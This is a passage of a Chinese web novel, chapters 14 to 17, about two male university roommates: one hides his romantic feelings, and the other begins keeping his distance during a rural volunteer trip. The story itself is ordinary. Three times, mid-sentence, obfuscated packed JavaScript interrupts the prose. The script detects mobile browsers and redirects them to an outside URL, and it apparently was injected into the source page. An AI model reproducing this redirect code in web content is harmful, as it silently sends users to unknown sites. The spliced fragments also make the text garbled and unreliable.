绿灯亮起,车子重新启动,江凝云坐在后面打了个哈欠,眼尾沁出一点生理性的湿润,他眨了眨眼睛,提议道:“我们去超市吧,我想买水果和零食。” “你腿不方便,我先送你回家,想买什么我去给你带。” 江凝云没起身,脸颊贴着陆时衍的背,能微微感受到陆时衍说话时胸腔的震动,他皱了皱鼻子,想也没想就拒绝:“我不。” “腿不疼了?” 陆时衍的声音有些闷,江凝云听得不太真切,但能听出其中笑意。 江凝云依旧没起身,他知道只要不是那些对身体不好的事情,陆时衍向来都会答应自己的。 “一点点,但是我走慢点就好了,这不是有你在吗?” 说完还欲盖弥彰地补了一句:“让你去给我跑腿我多不好意思啊。” 话音未落,他就听到陆时衍发出了几声低沉的轻笑。 有点沉闷,但又带着男大学生的清爽。 “是,那就拜托小凝大人陪我去了?” 江凝云耳根不自觉一热,唇角下意识扬起:“不客气。” 陆时衍在下一个路口拐了个弯去离小区最近的超市。 本来只想买点水果和零食,结果两个人推着购物车,在超市里走走停停,越买越多,走出超市的时候,他们足足提了两大袋。 陆时衍让江凝云拿着自己的画具就可以,自己则是一手一个购物袋。 两个人满载而归,打开家门的一瞬间,暖融的灯光扑面而来。 江凝云望着温馨整洁的屋子,还有听见动静从沙发上一跃而下冲过来的小猫,心里忽然被一种柔软的情绪塞得满满的。 明明才同居几个月,却好像已经和陆时衍一起这样生活了很久。 不住宿舍的感觉真是太好了。 江凝云不由得在心里感慨,自己和陆时衍,大概是全世界最合拍的室友了吧? 同居以来不仅没闹过什么矛盾,大多数时候还都舒适自在。 “咔哒——”陆时衍提着购物袋关上了门。 江凝云自告奋勇拿了最上面的两盒蓝莓想去洗,却被陆时衍拦下,“你去坐着,我来洗。” 江凝云不服,拿着盒子:“怎么能什么都让你做。” 陆时衍没给人回旋的余地,空着的那只手自然地牵住他的手腕,拉着人到沙发上坐下:“等你腿好了再说。” 力道温和却不容拒绝。 但陆时衍没说的是,就算等江凝云腿好了他也不想让人做太多事。 小凝有他照顾就行,不需要操心那么多。 “好吧。”见陆时衍态度坚决,江凝云就也不再坚持。 他心里特别清楚,在某种程度上,陆时衍的执着和自己不相上下。 “呼噜——”江凝云一坐下,呼噜就灵巧地跳到他大腿上,毛茸茸的脑袋蹭着他的手心。 “好聪明啊,一叫就来,”江凝云笑着挠它下巴,自言自语,“你的智商是不是随了我?” 今天画了一整天的画都没空和呼噜玩,等陆时衍洗完蓝莓回来,江凝云已经满身是猫毛了。 他揉了揉呼噜的耳朵,看小猫舒服得眯起眼睛,喉咙里发出咕噜咕噜的声音,江凝云也不自觉地跟着眯起眼。 掌心满是温暖蓬松触感,江凝云完全舍不得松手。 见陆时衍在身旁坐下,他微微仰头,鼻尖似乎还能嗅到蓝莓清甜的气息,他问陆时衍:“甜吗?” “很甜。” 江凝云也想吃,他低头看看自己满手的猫毛,又看看怀里撒娇打滚的呼噜,犹豫了两秒。 是现在去洗手,还是再抱一会儿? 这时呼噜又用脑袋顶了顶他的手心,“喵呜”叫了一声,声音又软又绵。 江凝云心头一软,那点犹豫立刻烟消云散。 还是过会再洗吧。 “喂我一下。”他扭过头,很自然地对陆时衍说。 却看到陆时衍瞳孔微微睁大了些,半天没反应。 江凝云愣了愣。 不愿意? 这个念头还没成型,嘴边就蓦地一凉。 那颗蓝莓已经抵在了他的唇上。 江凝云见状 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318930|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,抿唇笑了,就着陆时衍的手,张口将蓝莓含进嘴里。牙齿轻轻一咬,清甜的汁水瞬间在口腔里漫开。 又甜又脆。 陆时衍也太会挑了。他不得不承认,在生活经验上陆时衍确实略胜自己一筹。 江凝云扬起的嘴角一直没落下去,心情很好地让陆时衍又喂了自己好几颗。 吃得专注时没注意力度,柔软的嘴唇不经意间碰到了陆时衍微凉的指尖。 江凝云没太在意,自然也就没看到陆时衍是如何默默摩挲那个被他碰过的地方。 吃了十多颗后,陆时衍的手机响了,江凝云这才舍得放下小猫去洗手。 洗完后他又顺便从冰箱拿了盒草莓出来洗,水珠在饱满的果肉上滚动,色泽诱人。 江凝云忍不住自己先尝了一个,特别甜,他满意地往外端。 “在家。” “没,李教授说今晚不用过去。” “嗯。” “在写了,知道。” 端着盘子从厨房出来的时候看到陆时衍皱着眉,用公事公办的语气说话,江凝云就知道是叔叔阿姨打来的电话。 江凝云是小学的时候认识的陆时衍,他们以前是邻居,所以江凝云从小知道陆时衍父母对他要求有多严格,期望有多高。 看陆时衍此刻微微绷紧的下颌线和没什么表情的侧脸,他就知道无非是又督促陆时衍来了。 开学这么久,江凝云就见过陆时衍爸妈打过两三次电话,每次都是问在课题组学得怎么样、什么时候能发文章、提醒这对之后有多重要。 江凝云端着盘子站在原地,看着陆时衍握着手机,背脊挺直,语句简短地回复,偶尔才“嗯”一声。 客厅明明开的是暖黄的灯,却莫名衬出几分孤寂。 江凝云不自觉皱了皱眉,咀嚼的动作都慢下来。 嘴里刚才还清甜可口的草莓,忽然好像没了味道。 他看陆时衍每天不是上课就是往实验室跑,有的时候就连周末也没有休息的时间,哦对了,陆时衍还是班长,辅导员经常还会因为各种事情找他,江凝云看着都觉得累。 虽然他自己的生活也安排得很满,但每一件他都乐在其中,怎么看都比陆时衍一头扎进学习里开心。 叔叔阿姨怎么也不关心一下陆时衍辛不辛苦? 过了几分钟,见他们聊完了,江凝云才端着盘子走过去。 陆时衍现在满脑子都是科研、竞赛、保研,处于短暂的放空状态,直到眼前倏地出现一颗洗得干干净净,鲜红欲滴的草莓。 他怔了怔,一下子没反应过来。 视线往下,是江凝云白净细腻的脸,漂亮的桃花眼星光熠熠的,唇色是天然的嫣红,饱满的唇珠微微翘着。 陆时衍的心跳毫无预兆地漏了一拍。 只见眼前那好看的唇瓣轻轻开合,声音清润:“我刚刚洗的,你尝尝。” 陆时衍的目光不受控制地在江凝云近在咫尺的唇上停留了几秒。 那上面还沾着一点草莓的清亮水渍,显得柔软而湿润。 他喉结微动,一股燥热毫无征兆地从心底窜起,而后几乎是有些仓皇地强行移开视线,垂下眼帘,借着整理衣摆的动作掩饰瞬间的失态。 再抬眼时,陆时衍已经调整好表情,强迫自己冷静下来。 他对着江凝云笑了下,声音有些发哑:“…我自己来。” 江凝云举着草莓的手顿在空中。 他看着陆时衍自己从盘子里另拿了一颗,送入口中,动作流畅自然。 江凝云皱了皱鼻子。 …为什么不吃他递的? 15. 第 15 章 江凝云的那句“为什么不吃我拿的”还没问出口,陆时衍就转身离开回房间了,背影甚至还有点同手同脚。 “……” 不对劲。 陆时衍不对劲。 - “小凝,涂药了。” 江凝云坐在客厅的地毯上看群里发的剧本,听到陆时衍的声音后放下平板,抬头一看猛地愣住了。 桃花眼微微睁大。 怎么又换了套家居服?? 江凝云看了他两秒,朝陆时衍的方向抬起手臂,语气听起来还有点懵:“你扶我起来一下...” 陆时衍闻言上前,毫不费力地将人稳稳托起。 江凝云站直了,眼里满是疑惑,靠得近了,他还能清晰地感受到陆时衍身上残留的水汽和凉意。 “你又洗澡了??”江凝云震惊得嘴巴都微微张大,眼里满是难以置信,不是一到家时洗过了吗? 而且陆时衍身上透着的寒意让江凝云怀疑他洗的是冷水澡。 “不是...”这是秋天啊,陆时衍疯了? 就算陆时衍因为每天锻炼,身体特别好,那也不能在这种温度洗冷水澡啊... “刚刚做饭油烟很大吗?”他试图找一个合理的解释,说完江凝云又自己摇了摇头,“不对。” 他们今晚吃的是西红柿鸡蛋面,哪来的油烟? 而且就算油烟大,也不该洗冷水澡吧? “好了,”陆时衍没想到他只不过是冲了个澡换了身衣服,江凝云的反应会这么大,失笑道:“我就是刚刚不小心把饮料倒到身上,所以才换了身衣服。” 江凝云直勾勾地看着他,问道:“你用冷水洗的?” 陆时衍眉心一跳,面色如常地否认:“没有。” 陆时衍不得不在心里感慨江凝云的敏锐。 就在刚才,在江凝云仰着脸递上草莓的一瞬间,他想吻江凝云的欲望达到了顶峰。 他怕江凝云看出来,也怕自己会控制不住,逃跑一般离开了现场。 冲完冷水澡后,他怕手太冰,还在房间里多待了一会,等温热重新回归掌心后,陆时衍才出来打算给江凝云涂药。 没想到还是被看出了端倪。 “过来小凝,”陆时衍担心再被追问,牵着江凝云的手腕在沙发上坐下,“给你涂药。” 江凝云半信半疑地在陆时衍身旁坐下,目光仔细描摹着面前人的侧脸。 那双眼睛在专注时显得格外沉静,瞳仁是纯粹的墨黑,再加上陆时衍的眉骨很高,这衬得眼睛愈发深邃了。 那些和陆时衍不熟悉的人,总会觉得他冷漠,但在江凝云面前陆时衍就不这样。 到底是哪里不对劲? 直到一条腿被陆时衍抬起放到了他的大腿上,秋天的家居服不厚,江凝云感受到小腿下结实的肌肉时,他才反应过来,不对,他要自己涂。 “我……” 陆时衍神情专注:“先别动。” 江凝云噤了声。 陆时衍低下头,轻轻解开纱布固定的胶带。 纱布被小心地揭开。 二人同时地屏住了呼吸。 灯光下,那片伤痕完全显露出来,膝盖上是一片大面积的青紫色,深深浅浅,周围泛着褐黄,周围还散布着几道细小的、已经结痂了的暗红色划痕。 看上去脆弱又狼狈,和光洁白皙的小腿形成惨烈的对比。 虽然之前看到过好几次了,但再看到,江凝云还是忍不住皱起脸,低声嘟囔:“丑死了。” “不丑。”陆时衍立刻反驳。 不知道是不是江凝云的错觉,他总感觉陆时衍的尾音有些发颤。 他看着陆时衍拧开药膏,用棉签蘸取适量。 冰凉的药膏触碰上最肿痛的膝盖中央时,江凝云还是忍不住倒吸了一口凉气,牙关瞬间咬紧。 陆时衍的手蓦地停住。 他抬起眼,看向江凝云,漆黑的瞳孔里是明显的心疼,他轻声问:“疼吗?那我轻点。” 江凝云从齿缝挤出回应,“嗯”了一声,没有逞强说不疼。 要是在外人面前,他绝对是很要面子的那个,但在陆时衍面前没有这个必要。 陆时衍于是更加小心翼翼,涂完膝盖,又托起江凝云的手肘,这里不太严重,只有一小片淡紫色的淤青和几处小擦伤,比起膝盖简直不值一提,但陆时衍还是涂得很认真。 江凝云盯着看了一会,视线从高挺的鼻梁落到陆时衍偏薄的唇,突然开口:“陆时衍。” “嗯?” “你可以不用完全听叔叔阿姨的,”江凝云盯着陆时衍专注的侧脸,歪着头,继续说道:“按照自己的节奏就可以呀,要记得劳逸结合。” 不知道陆时衍刚刚不自然的回避,是不是因为接完电话心情不好。 话落,陆时衍刚好涂完最后一处后把棉签扔进了垃圾桶。 目光相触的瞬间,江凝云看到陆时衍的嘴角很慢地勾起一个弧度,黑沉沉的瞳仁里晕着希冀的光:“小凝是在...心疼我吗?” 江凝云的心脏猛地一缩。 他突然有个不合时宜的想法——陆时衍的眼睛很亮。 但江凝云没有立刻回应这个问题。 是...心疼吗? 他张了张嘴,却没发出声音。 好像是,又好像不完全是。 他只是觉得……陆时衍太忙了,忙得像个停不下来的陀螺。 他不想看到陆时衍把自己逼得那么紧。 但江凝云一时又不知道该如何表达这复杂的心绪。 陆时衍静静地看着他,看着江凝云脸上闪过的茫然和困惑。 也许真的谈不上是心疼吧。他想。 小凝很善良,别看他对外人总是一副清清冷冷的模样,其实心思比谁都细腻。 否则当年,也不会因为担心他一个人太孤单,主动跑来和他做朋友了。 想到这,陆时衍深吸了一口气。 他为什么还是不知足? “睡觉的时候小心点,别压着,”陆时衍重新给江凝云贴上纱布,再次叮嘱道,“知道了吗?” 江凝云点了点头。 暖黄的灯光落在他脸上,皮肤白皙得近乎透明,长长的睫毛在眼睑投下扇形的阴影。鼻尖小巧,唇色是天然的嫣红,微微抿着。 整个人像一尊精心雕琢的瓷器,漂亮得有些不真实。 江凝云就算是不说话坐在那,都有一种天然的吸引力。 陆时衍眸色几不可察地深了几分。 这让他怎么知足? - 江凝云的疑问终于在第二天找到了答案。 给呼噜新买的猫爬架刚到,江凝云只是回房间给手机充个电的功夫,出来就看到陆时衍已经开始安装了。 不仅如此,他还不让江凝云帮忙,说:“如果实在想做点什么的话,那就帮我倒杯水吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318931|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 江凝云欣然同意了。 他随手拿起架子上离自己最近的玻璃杯,接了温水,递给蹲在窗边的陆时衍。 陆时衍道了声谢谢,接过去,抬手便往嘴边送—— 就在杯沿即将触碰嘴唇的刹那,陆时衍的动作猛地顿住。 目光落在杯子上。 …是小凝的杯子? 江凝云这时也才后知后觉地发现,自己顺手拿错了。 不过应该没关系吧,一个杯子而已,他之前不也用过陆…… 思绪在此处骤然卡壳。 他看见陆时衍握着杯子的手顿了顿,大拇指无意识地在杯壁上轻轻摩挲了一下,然后放下了,自己又去重新接了一杯。 江凝云站在原地,眨了眨眼。 为什么要重新接? 他的目光紧紧地粘在陆时衍身上,见他步履匆忙,把自己的杯子重新放回到了架子上。 自己的水杯怎么就不能喝了? 几乎是同时,江凝云倏地想起昨晚陆时衍不吃自己递的草莓的画面。 当时陆时衍好像也是像现在这样躲避。 电光火石间,更多的细节纷至沓来。 昨晚让陆时衍喂蓝莓时他的迟疑,还有前几天拥抱陆时衍时的僵硬。 暂时只想起来这么多,但江凝云直觉不止。 他好像突然明白陆时衍最近为什么这么奇怪了! 江凝云看着陆时衍重新回到窗边安装猫爬架,他蹲在地上拧螺丝,背影挺拔如常。 自己是什么时候...和陆时衍变得这么亲密了? 江凝云自以为他是一个很有边界感的人,可只要一和陆时衍待在一起,他就忍不住依赖他,甚至忍不住把陆时衍的偏爱当做理所应当。 这么说来,他们是不是超过了朋友的界限? 陆时衍是不是就是因为这个,所以才躲了他好几次? 他们是不是应该保持一点距离? 难道他们现在太没分寸了?让陆时衍感到困扰了? 无数个疑问堆积起来,江凝云觉得自己好像懂了—— ——朋友之间太没分寸感,确实不太好! 正好最近腿也好一些了,没有刚前几天那么疼,江凝云默默决定不让陆时衍送自己去上课了。 - “为什么?” 陆时衍看着江凝云低头把钥匙和手机塞进包里,头顶的发丝一晃一晃的。 他的心也随之摇晃。 “因为我已经好很多啦,不用再麻烦你了,要不然你每天都要在艺术学院和医学院之间来回折腾,挺费时间的。” 陆时衍的喉咙莫名有些发干:“我不麻烦。” 他的目光始终没从江凝云脸上移开。 江凝云给自己的包拉上拉链,看了他一眼,用不容置喙的语气:“那也不行。” 为了他们的友谊能够更好地持续下去,今天是他决定不再那么依赖陆时衍的第一天。 然而陆时衍无从知晓他这些想法。 他只看见江凝云在刻意拉开他们的距离。 是不是他的喜欢被发现了,所以江凝云果然开始躲着他了? 再加上前两天晚上问江凝云是不是心疼自己时,江凝云没有回应。 陆时衍眸光暗了暗,心也一点点沉下去。 那句话太过了? 让小凝难回答了? 小凝是不是...不喜欢他? 16. 第 16 章 江凝云是真的认真思考过的。 他们两个的状态是不是有点太亲密了? 是不是他做了太多暧昧的举动,以至于对他们的友情产生了影响,让陆时衍感到不舒服了? 所以,为了他们的友情能够得到更好的发展,江凝云决定开始和陆时衍保持一点点距离! 避嫌的第一天,从不让陆时衍接送开始。 就连换药江凝云也自己换。 陆时衍站在江凝云房间门口,欲言又止了好几次,嘴唇翕动,最后只问出一句:“真的不需要我帮你吗?” 他想了一天都想不通,江凝云为什么突然不需要他了。 以至于早上到教室的时候,有同学都被他眉间的阴翳吓了一跳,还以为出什么大事了。 这可不就是大事吗? 他从来没有嫌小凝麻烦过,小凝为什么要那样想? 难道他的喜欢……真的被发现了? 江凝云坐在床上把腿平放,低着头学着陆时衍昨天的样子,小心翼翼地撕膝盖上的胶带。 他给膝盖上的青青紫紫丑得皱了皱眉,没空去看陆时衍,嘴里嘟囔着:“你在小瞧我吗?” 陆时衍的目光沉沉地落在江凝云紧锁的眉头上,视线下移,又看到江凝云的指尖在微微颤抖。 “没。”声音干巴得像是从喉咙里挤出来的。 小凝都这样了,为什么不叫他帮忙? 只要他开口,或者随便招招手,陆时衍就会马上为他包办一切。 可江凝云没有。 他全程皱着眉,专注地给自己换完了药。 “好了!”涂完后,江凝云长舒一口气,这也没什么难的嘛! 他笑着抬起脸,倏地看到还站在门口的陆时衍,被吓得怔了怔,翘起的眼尾不免落下去一点,“你没走呀。” 陆时衍“嗯”了一声,对着江凝云扯出一个轻松的笑,轻声说:“早点睡小凝。” 江凝云点了点头,他不知道是不是自己的错觉。 刚刚抬起头的那一瞬间,他好像看到陆时衍脸色不太好。 可是陆时衍从来没对他露出过这样阴沉的神色,所以......应该是错觉吧? 江凝云没多想,把裤子从膝盖上卷下来,关了灯安心睡去。 - 还不是因为第二天要早起。 明明是星期六,却要七点起床。 江凝云睡眼惺忪地坐起来,头顶乱糟糟的,坐在床上缓了好一会,才把那点起床气压下去。 今天要跟着院里下乡,八点在学校门口集合。 他其实不太想去,不是因为嫌麻烦,是因为江凝云很讨厌坐大巴。 之前培训的时候坐过一两次,那味道让他毕生难忘。 现在光是回想一下他都想吐。 可老师点名让他去,江凝云不好拒绝。只能默默祈祷山路不要那么曲折。 坐在床上缓了几分钟,江凝云终于起床给自己挑了件浅黄色的卫衣,上面有好几根不同颜色的绳子进行装饰,配阔腿牛仔裤,他又找了个白色的鸭舌帽扣在头上。 他把u型枕和头戴式耳机装进大斜挎包,背在右肩上,包带压下来,衬得江凝云整个人身材更加颀长。 折腾两下有点来不及了,想到还要提早点到选个靠前面的位置,江凝云都没来得及和陆时衍说声再见。 - 江凝云坐下的第一件事就是把窗户拉开一点缝隙。 透进来的凉风让人舒服了些,他开始从包里掏各种东西。 过了一会,座椅旁边有人坐下,他还以为是林寓来了。 转头一看没想到是陆时衍。 桃花眼微微撑圆了些。 “你怎么来啦?”语气里是掩饰不住的惊讶。 陆时衍今天也穿了卫衣,和他身上这件版型很像,不过是深色的,而且陆时衍也背了一个不小的斜挎包,鼓鼓囊囊的,看起来装了很多东西。 江凝云有听说这次下乡是艺术学院和医学院联合组织的健康乡村实践,但快到期末月了,他没想到陆时衍居然在课业那么忙的时候报名了志愿者。 他不像是缺这点志愿时长的人啊? 陆时衍的目光一直贴在江凝云身上,说出了提前准备好的答案:“院里缺人,我就报名了。” “哦,”江凝云点点头,“原来是这样。” 正好从过道经过的徐洺恩听到这番对话没忍住睁大了眼睛。 据他听说,这次实践他们院也是有三分之二的人报名好吗? 哪有像小陆哥说的那样——院里缺人? 小陆哥真是,睁眼说瞎话。 - 江凝云还是低估了大巴车的威力。 就算他提前一晚搜了最佳防晕车位置,提前戴上了U型枕,还有口罩和鸭舌帽,全程不看手机,始终靠在椅背上不动。 但还是撑不过二十分钟。 一个接一个的大拐弯让江凝云紧皱的眉头就没有松开过。 一阵一阵的恶心感从喉咙里涌上来,江凝云紧咬着牙关,他甚至不敢大口呼吸,他从来没有一次这么想让自己快点睡着过。 “小凝...小凝...” “啊?”江凝云的肩膀被拍了两下,他睁开眼睛,这才发现陆时衍在叫他。 陆时衍的手还放在江凝云的肩上,眉眼低垂,问他:“是不是难受了?” “我...”才刚开了个口,车就又转过了一个大弯,惹得江凝云不自觉地闭了闭眼,意图缓解这几个拐弯给他带来的不适。 等他再次睁开眼,看到陆时衍在自己包里拿出了晕车贴。 江凝云把帽檐压得很低,他得微微抬起下巴,才能看清陆时衍包里装的都是什么。 有电解质水、苏打水、矿泉水、晕车贴、口香糖……满满当当,分类整齐。 陆时衍也晕车吗? 还没细想,陆时衍就已经撕开了晕车贴的包装,伸手要给他贴。 江凝云抬手顺势接过来,“谢谢,我自己来。” 声音听起来很虚弱。 他把药贴按在耳后,然后把帽檐又往下压了压。 可是效果欠佳。恶心感还在,太阳穴也突突地跳。 江凝云皱着眉抿了抿唇,他不敢说太多话,怕一开口就吐出来,那他会想死的。 他在心里默默鼓励自己:再坚持半个小时就到了。 下一秒,手腕蓦地被握住。 “小凝,”陆时衍的声音在耳边响起,压得很低,带着担忧,“要不要靠我肩膀上睡会,这样可能会好一点。” 陆时衍的掌心很热,江凝云把手抽出来,闭着眼睛摇了摇头,忍着难受和陆时衍说没关系。 声音不大,隔着口罩显得有些闷。 听起来有些可怜,可怜得像在硬撑。 陆时衍心脏抽痛了一下,有些难以呼吸。 小凝以前不是想贴就贴、想靠就靠吗? 就算是在楼下等个电梯的功夫,小凝也喜欢歪在他身上。 可现在已经难受成这样了,小凝反而不要了。 江凝云不知道他的态度让陆时衍的内心掀起了怎样的惊涛骇浪。 他深吸了一口气,拉下鸭舌帽盖住眼睛,把包包抱在胸前,靠在椅背上肩上小幅度呼吸着,努力缓解不适。 林寓就坐在江凝云后面。他不晕车,把那些有气无力的话听得清清楚楚。 他稍微站起身:“凝云要不然我把我的耳机借你吧?转移一下注意力可能没那么难受。” 对...对,他还带了耳机! 江凝云的手开始包里摸索,“我有带。” 陆时衍想帮他拿,结果还没说出口,江凝云就找到了戴上。 “……” 陆时衍就这样静静地看着江凝云戴着耳机,脸上没有一丝皮肤露在外面,靠在椅背上胸口小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318932|199018||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幅度起伏着。 他很想让江凝云靠在自己怀里,很想抱抱江凝云。 但江凝云不需要。 陆时衍的目光就这样没从江凝云身上离开过,而且他还后知后觉,江凝云没对林寓说谢谢。 那为什么要对自己说谢谢? 他们什么时候是需要说谢谢的关系了? - 车几乎是一停下来,江凝云就迫不及待地站起身,含糊地说:“让我出去一下。” 陆时衍连忙给他让开。 下车的时候,村里来对接的工作人员已经到了。 江凝云忍着难受问清洗手间的位置后,几乎是逃进去的。 “嘭——”没注意关门的力道,他反锁后就忍不住吐起来。 胃里翻江倒海的,可是江凝云最后也只是干呕几下,什么都没吐出来。 陆时衍就站在门外,听着里面隐约传来的压抑的声音,攥着包带的手紧了紧。 “……算了。” 江凝云的手撑在洗手台上缓了会,叹了口气,然后给自己用冷水洗了洗脸,感觉整个人清醒不少。 他抬头看了一眼镜子,里面的人脸色白得吓人,唇色也淡了不少,几丝栗色的卷发从鸭舌帽旁边探出来,湿漉漉地贴在脸上,眼尾因为刚才的干呕泛着薄红,睫毛上还挂着水珠。 江凝云打开门,门外的身影让他眼睫颤了颤。 他没想到陆时衍也跟过来了。 “你没去集合呀?”声音听起来有气无力的。 陆时衍垂眸看他苍白的脸,双手虚扶在江凝云两侧,放低了声音问:“还想吐吗?” 江凝云摇了摇头往外走,拖着两条腿在大厅的沙发坐下。 他看着陆时衍从包里拿出瓶电解质水,拆开一次性吸管包装放进去,然后递到他嘴边。 江凝云一边看一边在心里感慨陆时衍实在是太会照顾人了,他接过来:“谢谢。” 吸管被含进口中,江凝云小口小口地喝着,喝了几口后就开始放空大脑,没忍住开始咬吸管。 突然面前一黑,江凝云倏地往后躲了一下。 他抬起脸,看到陆时衍的眸光闪烁了一下。 陆时衍的手停在半空,顿了顿,然后若无其事地收回来,“你的脸上有一根睫毛。” “我看看。”江凝云把喝的放下,从包里掏出手机给自己拿掉了。 “陆时衍!” 外面有医学院的人在喊陆时衍的名字。 江凝云也听到了,对他说:“要不然你先去吧,我自己一个人可以的。” 陆时衍盯着他看了一会,打算出去看看什么情况。 江凝云自己独自待了一会,终于缓过来了,找到群里的村口定位,把东西都装进包里准备去那里和大家会合。 他们今天的任务就是给闻村画墙绘。 “凝云!好点没?”收拾到一半,林寓快步进来,“你如果还难受的话就再休息一会,晚点再过来也没事,需要用的画具我们已经带过去了。” 江凝云摇了摇头,“我已经好多了。” “你说这晓丽姐也是的,偏要让你来。”林寓一边说一边安抚性地拍了拍江凝云的肩,见江凝云看起来真的是好点了才凑过去问: “诶,你在车上为什么和陆时衍没有那么亲密了?” “……” 江凝云看着他,无语地抿了抿唇,没忍住笑了一下。 “你还是人吗?”他斜了林寓一眼,“我都这样了还要八卦我。” “这不是看你好点了嘛,”林寓赶紧殷勤地给江凝云捏了捏肩膀,还把人的包给接过去背上,“来来来,我帮你背包,别把我们校草累到了。” 江凝云一边把电解质水的盖子盖上,一边说:“我觉得我们关系太近了呗。”他没觉得这有什么不能说的。 “哦对了,别告诉陆时衍。” 正准备进门的陆时衍脚步顿住了。 17. 第 17 章 江凝云不知道陆时衍来过。 他和林寓一起去村口和大家会合,走到一半才发现今天的风有些大,脸被吹得不太舒服。 但口罩又落在大巴上了,江凝云懒得回去拿,只好鸭舌帽往下压了压。 村口那边已经很热闹了。 大家分好了工,正围着几面墙画底稿。见江凝云来了,纷纷问他还难不难受,带队老师也走过来,想让他回去再休息一会。 “好多了,”江凝云朝大家笑了笑,目光扫过那几面白墙,“我的任务是什么?” 他的字比较漂亮,大家就把上面写字的部分留给江凝云。 “闻村欢迎您”这五个大字,要写在进村最显眼的那面墙上。 工作人员搬来一架不高的梯子,站在上面正好能够够到最顶上的位置,有人想过来帮忙扶着,江凝云摆摆手拒绝了。 他小心翼翼地上去,握着画笔,蘸了黑色的颜料,落笔很稳。 一行人就这样在村口的墙上画画。干燥的秋风时不时吹过,掀起他们的衣角。有人蹲着勾线,有人踮脚填色,偶尔几句说笑声飘散在风里,氛围静谧又祥和,谁也没注意到时间的流逝。 不知不觉到了午饭时间,江凝云完全不饿,想一个人在这多画一会,但拗不过老师和同学们轮番喊他,只好从梯子上下来跟着大部队回去,“来啦。” 路过村委楼时,江凝云的脚步顿了顿。 楼前摆了几张长桌,上面摆着血压计和宣传册,还有一些江凝云认不出的药。 医学院的志愿者们为村民们量血压、科普病理知识。 江凝云在人群中一眼就看到了陆时衍。 陆时衍穿着白大褂,正俯身给一个老人测血压,嘴里叮嘱着什么。 从这个角度看过去,陆时衍的眉骨很高,衬得眼窝愈发深邃。鼻梁高挺如峰,线条利落得像雕塑。额前的碎发被风吹起来,又正好中和了他冷峻的气质。 江凝云看着看着,忽然发现陆时衍的视线越过那个老人,抬起头对上了他的眼睛。 四目相对。 江凝云愣了一下,笑了笑,然后用手指了指食堂的方向。 陆时衍知道意思是他先去吃饭了。 他点了点头,唇角也跟着弯了一点。 胸口空落落的似乎缓解了些。 - 江凝云实在是没胃口。 他随便吃了两口就不想吃了,跟着大部队回去继续画,嘴里喝着陆时衍送来的胡萝卜汁,也不知道陆时衍在哪买的。 “闻村欢迎您”已经写完了大半,只剩下“您”字的最后一笔。 江凝云握着画笔,全神贯注地盯着那个字,他一认真起来,周围的一切都好像消失了。 风的呼啸,同学们的说笑声,甚至脸上那点若有若无的痒意,都被他忽略了。 直到有人喊了一句:“凝云!你的脸怎么了!” 那声音很响,江凝云被吓得一颤,第一反应是庆幸还好自己已经写完了最后一笔。 “你有病啊?这么大声要是吓到他怎么办?!”林寓见状拉下脸,不禁感到后怕。 “对不起对不起,”那个同学也后知后觉他刚刚那个举动有多危险,“我不是故意的。” 江凝云定了定神,他刚刚确实被吓到了,还好人没事。 他转过头,看见好几个人都在为他斥责那个大惊小怪的男生,江凝云摆了摆手,“没事,他也不是故意的。” 一个女生道:“凝云你快下来找药涂一下。” 江凝云下意识地用手背碰了碰脸颊,手指接触到的地方有点粗糙,也有点烫。 一个同学递过来自己的小镜子。 江凝云接过照了照。 镜子里,他的脸颊上泛起一些红疹,特别是颧骨那个地方,透出不正常的红。 秀气的眉头微微蹙起,江凝云在心里叹了一口气。 他本来就因为晕车身体不太舒服,心情有点不好,这下更差了。 江凝云把镜子还给那个女孩,从梯子上下来,脚步不免有点乱。 他想找医学院的老师问问这是不是过敏了,正好看见徐洺恩从旁边经过。 徐洺恩凑过来看了看,眉头皱起来:“你这……像是过敏了,你先跟我回去。” “估计是空气中灰尘和草屑太多了,长时间……” 临近村委楼,徐洺恩话还没说完,另一个身影就已经走过来了。 他还没反应过来,陆时衍就站到了江凝云面前。 “我来。”陆时衍说。 徐洺恩挑了挑眉,识趣地离开了。 江凝云下意识地望了望徐洺恩离开的方向,没注意到陆时衍瞧见他动作后骤然紧绷的神色。 等江凝云转回来时,陆时衍又恢复了平日里那副温柔体贴的模样。 他低头看着江凝云的脸,“怎么弄的?” 面对的人是陆时衍,江凝云不免自在许多,下意识地仰起脸给陆时衍看,声音听起来闷闷的,“画着画着它就这样了。” 陆时衍给江凝云这副乖巧的样子看得心疼,呼吸一滞,“别担心,”放轻了声音安抚道,“我们先回去处理一下。” 江凝云抿着唇点点头,他忍着不去碰,只能跟在陆时衍身后暗暗皱了皱脸,意图缓解脸上的痒意。 